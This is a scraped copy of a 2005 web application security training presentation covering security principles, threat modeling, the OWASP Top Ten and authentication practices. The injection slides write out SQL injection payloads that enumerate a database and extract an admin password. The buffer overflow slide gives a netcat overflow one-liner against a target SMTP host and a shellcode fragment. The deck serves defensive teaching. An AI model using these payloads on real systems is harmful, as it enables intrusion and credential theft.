* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
Download Top-Ten Web Security Vulnerabilities
Airport security wikipedia , lookup
Buffer overflow protection wikipedia , lookup
Distributed firewall wikipedia , lookup
Cracking of wireless networks wikipedia , lookup
Computer and network surveillance wikipedia , lookup
Cyber-security regulation wikipedia , lookup
Information security wikipedia , lookup
Next-Generation Secure Computing Base wikipedia , lookup
Access control wikipedia , lookup
Wireless security wikipedia , lookup
Security and safety features new to Windows Vista wikipedia , lookup
Authentication wikipedia , lookup
Computer security wikipedia , lookup
Unix security wikipedia , lookup
Security-focused operating system wikipedia , lookup
Mobile security wikipedia , lookup
10 – 12 APRIL 2005 Riyadh, Saudi Arabia Web Application Security Fundamentals Murat Lostar Information Security Consultant “When we face a choice between adding new features and resolving security issues, we need to choose security. Our products should emphasize security right out of the box” Bill Gates CIA Concept Confidentiality Information must be protected from unauthorized disclosure Integrity Information must be protected from unauthorized modification Availability Information must be available when the users need it The goal of an attack Steal data Blackmail Beachhead for other attacks Bragging rights Vandalism Demonstrate vulnerability/satisfy curiosity Damage company reputation Designing Secure Systems Designing Secure Systems How much security does a web application require? Zero risk is not practical There are usually multiple ways to mitigate risk Don’t spend $ 1.000.000 to protect $ 0,1 Security is almost always overhead, either in cost or performance Designing Secure Systems Common Security Mistakes Security Principles Security Design by Threat Modeling - STRIDE Security Techniques A Cornucopia of Threats and Solutions Common Security Mistakes Not designing applications with security in mind. Adding security to the application as an afterthought. This can be expensive than you think. Adding security later, Can change the way the features have been implemented Can change the application interface Can break the previously written code Why these mistakes are made? Security is boring Security disables some functionality. Security is difficult to measure. Security is not the interest of the designers and developers creating the product. Security Principles Establish a Security Process If you don’t define a process for designing, coding, testing, deploying and fixing systems in a secure manner, it’s very likely that you will spend a huge amount of time fixing security bugs. Consider Security as a Product Feature Build and review the development plan. Security Principles Define the Product Security Goals Who is the audience? What does security mean to the audience? Where will the application run? What are you attempting to protect? Who will manage the application? What are the communication needs of the product? What security infrastructure services do the OS and the environment already provide? Security Principles Learn from Mistakes – Every bug is a learning opportunity How did the security error occur? Is the same error replicated in other areas of code? How could we have prevented this code from occurring? How do we make sure this kind of error does not happen in the future? Use Least Privilege What resources must your application access? What special tasks must your application perform? Security Principles Use Compartmentalization (separation of privileges) Separation between users, processes, data, and networks helps contain problems if they occur. Give the Use Defense in Depth Don’t rely on other systems to protect you At some stage you (your software) have to defend yourself. Implement a “default deny” stance Security Principles Assume External Systems Are Insecure Until proved otherwise, all external stimuli have the potential to be an attack. Plan on Failure Bugs happen Make security contingency plan Fail to a Secure Mode The application has not disclosed any data that would not be disclosed ordinarily, the data still can not be tampered with, ... Do not issue huge swaths of information explaining why the error occured. Give the user a little bit of information. Here is an example: Security Principles – Code Example ... DWORD dwRet = IsAccessAllowed(...) if (dwRet == ERROR_ACCESS_DENIED) { // Security check failed. // Inform user that access id denied. } else { // Security check OK. // Perform task. } .... Security Principles – Code Example ... DWORD dwRet = IsAccessAllowed(...) if (dwRet == NO_ERROR) { // Security check OK. // Perform task. } else { // Security check failed. // Inform user that access id denied. } .... Security Principles Employ Secure Defaults If a feature is not running, it cannot be vulnerable to attack Another reason for not enabling features by default is Performance. Backward Compatibility Issue? Be ready to face many upgrade and backward compatibility issues if you change critical features (for security reasons.) The weak version of the protocol lives forever. Security Features = Secure Features ??? Security features do not necessarily make for a secure application. Security Principles Never Depend on Security Through Obscurity Always assume that an attacker knows everything you know Validate input and output User input and output to and from the system is the route for malicious payloads into or out of the system Allow only explicitly defined characteristics and drop all other data Security Principles Keep it simple Often the most effective security is the simples security If the steps to secure a function or module of the application are too complex, they probably won’t be followed Complex code is hard to understand, makes maintenance error-prone Security Principles Use and reuse trusted components When someone else has proven they got it right, take advantage of it Beneficial from both a resource and security perspective Only as secure as the weakest link Attackers will find the weakest point and attempt to exploit it Don’t leave all the locks on the front door and leave the back door swinging open Security Principles – Three Final Points If you find a security bug, fix it and go looking for similar issues in other parts of the code. If you find a security bug, make the fix as close as possible to the location of the vulnerability. If there is a fundamental reason why a security flaw exists, fix the root of the problem. Don’t patch it over. An Example Authentication Data Application Data LDAP Web Browser HTTP Web Pages Web Server DCOM App. Comp. SQL Over Sockets Audit Data DB Server An Example Threat 1: A malicious user can view or tamper with personal data en route from the Web server to the client or from the client to the Web server Threat 2: A malicious user can view or tamper with personal data en route from the Web server to the application component or from the component to the Web server An Example Threat 3: A malicious user can access or tamper with the personal data directly in the database Threat 4: A malicious user can view LDAP Authentication packets and learn how to reply to them so that he can act “on behalf of” the user An Example Threat 5: A malicious user can deface or redirect the Web server by changing one or more Web pages Threat 6: An attacker can deny access to the database server by flooding it with TCP/IP packets An Example Threat 7: An attacker can delete or modify the audit logs Threat 8: An attacker can place his own Web server on the network after killing the original server with a distributed DoS attack. OWASP.org Open Web Application Security Project Top-Ten Web Security Vulnerabilities Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #10: Web/App Server Misconfiguration Tension between “work out of the box” and “use only what you need” Developers ≠ web masters Examples Unpatched security flaws Misconfigurations that allow directory traversal Administrative services accessible Default accounts/passwords Countermeasures Create and use hardening guides Turn off all unused services Set up and audit roles, permissions, and accounts Set up logging and alerts Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #9 Denial-of-Service Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #8: Poor Cryptography Insecure storage of credit cards, passwords, etc. Poor choice of algorithm (or invent your own) Poor randomness Session IDs Tokens Cookies Improper storage in memory Countermeasures Store only what you must Store a hash instead of the full value Use only vetted, public cryptography Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #7: Error Handling Examples: stack traces, DB dumps Helps attacker know how to target the app Inconsistencies can be revealing too “File not found” vs. “Access denied” Fail-open errors Need to give enough info to user w/o giving too much info to attacker Countermeasures Code review Modify default error pages (404, 401, etc.) Error messages example Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #6: Command Injection Allows attacker to relay malicious code in form variables or URL System commands SQL Interpreted code (Perl, Python, etc.) Many apps use calls to external programs sendmail Countermeasures Taint all input Avoid system calls (use libraries instead) Run with limited privileges Injection in ASP Login: Select * from users where username = ‘” + username + “’ and password = ‘” + password + “’”; Goal: gain information and administrator access Methodology: inject SQL statement in the ‘username’ and ‘password’ fields Collect information Select * from users where username = ‘” + username + “’ and password = ‘” + password + “’”; 1. Get database table Username: ' having 1=1-[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid … 2. Get columns Username: ' group by users.id having 1=1-[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid … 3. Get types Username: ' union select sum(username) from users-[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. Gain access Select * from users where username = ‘” + username + “’ and password = ‘” + password + “’”; 4. Get version info. Of SQL server and OS Username: ' union select @@version,1,1,1-Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) … Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' … 5. Get usernames Username: ' union select min(username),1,1,1 from users where username > 'a'-Syntax error converting the varchar value 'admin' to a column of data type int. 6. Get password Username: ' union select password,1,1,1 from users where username = 'admin'-Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #5: Buffer Overflows Mostly affects web/app servers Can affect apps/libraries too Goal: crash the target app and get a shell Buffer overflow example echo “vrfy `perl –e ‘print “a” x 1000’`” |nc www.targetsystem.com 25 Replace all those “a”s with something like this… char shellcode[] = “\xeb\xlf\x5e\x89\x76\x08…” Countermeasures Keep up with bug reports/patches Code reviews Run with limited privileges Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #4: Cross-Site Scripting (XSS) Attacker uses trusted application/company to reflect malicious code to end-user Attacker can “hide” the malicious code Unicode encoding 2 types of attacks Stored Reflected Wide-spread problem! Countermeasures input validation Positive Negative: “< > ( ) # &” Don’t forget these: “< > ( ) # &” User/customer education Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #3: Broken Account and Session Management Weak authentication Password-only Easily guessable usernames (admin, etc.) Unencrypted secrets are sniffable How to break in Guess/reset password Have app email you new password Sniff or crack password Backend authentication How are database passwords stored? Trust relationships between hosts (IP address can be spoofed, etc.) Countermeasures Strong passwords Remove default user names Protect sensitive files Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #2: Broken Access Control Usually inconsistently defined/applied Examples Forced browsing past access control checks Path traversal File permissions – may allow access to config/password files Client-side caching Countermeasures Use non-programmatic controls Verify access control via central container Code reviews Top-Ten Web Security Vulnerabilities 1 2 3 4 5 6 7 8 9 10 Unvalidated Input Broken Access Control Broken Authentication and Session Management Cross Site Scripting (XSS) Flaws Buffer Overflows Injection Flaws Improper Error Handling Insecure Storage Denial of Service Insecure Configuration Management #1: Unvalidated Parameters Attacker can easily change any part of the HTTP request before submitting URL Cookies Form fields Hidden fields Headers Encoding is not encrypting Toasted Spam: http://www.toastedspam.com/decode64 Input must be validated on the server (not just the client). CoolCarts: http://www.extremelasers.com Countermeasures Tainting (Perl) Code reviews (check variable against list of allowed values, not vice-versa) Application firewalls CodeSeeker: http://www.owasp.org/codeseeker/ Real-time auditing: http://www.covelight.com © 2005 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY. Security Techniques Authentication Authentication – The process of verifying a claimed identity User Authentication The process of determining that a user is who he/she claims to be Usually happens only once per session May need to re-authenticate during a session e.g. before a significant monetary action Entity Authentication The process of determining if an entity is who it claims to be Usually takes place with every request Authentication User Authentication Basic authentication – Clear Text Digest authentication Forms-based authentication <% Dim strUsername, strPwd strUsername = Request.Form(“Username”) strPwd = Request.Form(“Pwd”) %> Passport authentication - SSO Windows authentication NTLM authentication Kerberos authentication X.509 certificate authentication Authentication Entity Authentication Cookie based Infrastructure Authentication IPSec X.509 certificate authentication Authentication Cookies Persistent and Secure Persistent and Non-secure Non-persistent and Secure Non-persistent and Non-secure Authentication Managing User Sessions Session tokens Cryptographic algorithms All session tokens should be user unique, non-predictable, and resistant to reverse engineering Use a trusted random number generator Map session tokens in some way to a specific HTTP client instance to prevent hijacking and replay attacks Do not base a session token algorithm on or use as variables any user personal information Authentication Expire session tokens on the HTTP server when the session ends Regenerate session tokens while the session is active Build methods to detect session forging/brute-forcing and/or lockout Re-authenticate users before significant actions Encrypt session tokens during transmission Use page-specific tokens in conjunction with session-specific tokens Overwrite session tokens on logout Security Techniques – Authorization and Access Control Limits what users can do, which resources they have access to, and what functions they are allowed to perform on the data. Authorization The act of checking to see if a user has the proper permission to access a particular file or perform a particular action Access Control The more general way of controlling access to web resources, including restrictions based on things like the time of day, the IP address or domain of the client browser, the type of encryption the HTTP client can support, number of times the user has authenticated that day, etc. Any access control mechanism depends on effective and forge-resistant authentication controls for authorization Access Control and Authorization Access Control Discretionary Access Control Restricts access to information based on the identity Decentralized model Mandatory Access Control Assigning sensitivity labels on information and comparing this level of sensitivity at which a user operates For extremely secure systems Role-based Access Control Access decisions are based on an individual’s roles and responsibilities within the organization or user base Centralized administration Scalable Access Control and Authorization In Windows Environment Access Control Lists Privileges IP Restrictions Server-Specific Permissions Security Techniques Tamper-Resistant and Privacy-Enhanced Technologies SSL / TLS IPSec DCOM and RPCs Encrypting File System Security Techniques Protect Secrets – Don’t Store Secrets If you don’t store the data, the attacker cannot gain access! Encryption, Hashes, MACs, and Digital Signatures Hide information from prying eyes. Filtering Inspect data as received and making a decision to accept or reject Throttling Limit the number of requests to your system Quality of Service Preferential treatment for specific types of traffic Least Privilege Always run with just enough privilege to get the job done Security Techniques - Logging Importance of logging Provides key security information about a web application and its associated process and integrated technologies Makes individual users accountable for their actions Often the only record of suspicious behavior – Base of IDS Logging What to log In general, time of event, initiating process or owner of process, detailed description of the event Reading/writing/modifying/deleting data Network communications at all points All authentication/authorization events All administrative functions, regardless of Debugging information that can be enabled/disabled on the fly Logging Best practices for log management Collect and consolidate logs on a separate dedicated logging host Encrypt network connections and log data contents to protect confidentiality and integrity Set log file attributes so that only new information can be written (older records cannot be rewritten or deleted) Copy logs at regular intervals, depending on size and volume Verify regularly that logging is operational Copy log files to permanent storage and include in backup strategy Dispose of log files according to company record retention policy Synchronize all logging components with a time server so that all logging can be consolidated effectively without latency errors. Some Common Threats Access to or modification of confidential data Read or modify e-mail-based communication Flood service with too many connections Attempt to guess password Attacker spoof a server Attacker posts HTML or scripts to your site Your data packets can be replayed Attacker gains physical access to hardware Attacker modifies configuration data Error message leak too much information An attacker accesses or uses data cached by a previous user Attacker shuts down your process Attacker modifies configuration data What to do next? Here are a few tips for the beginning: Data Validation Privacy Considerations Data Validation One of the most important aspects of designing a secure web application Applies to input to and output from a web application Validation strategies Accept only known valid data Accept only input that is known to be safe and expected The best possible strategy, but not always feasible Reject known bad data Can limit exposure Relies on the application knowing about specific malicious payloads Sanitize all data An effective second line of defense May be hard and time-consuming to perform Data Validation All three data validation strategies must check Data type Syntax Length Never rely on client-side validation Data validation must be done on the trusted server or under the control of the application Client-side data validation can always be bypassed An attacker can watch the return value and modify it at will Privacy Considerations Warn users about the dangers of communal web browsers Pages may be retained in the browser cahce Logging out and closing the browser to kill session cookies is recommended Temp files may remain Proxy servers and other LAN users may intercept traffic Design sites with the assumption that no part of a client is secure and make no assumptions about integrity Privacy Considerations Display personal data when really needed Set pages to pre-expire Set the no-cache meta tags Otherwise, mask personal data, displaying only a subset Offer an enhanced privacy login option to the user Keep sensitive data out of the browser history by using POST for all form submissions © 2005 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.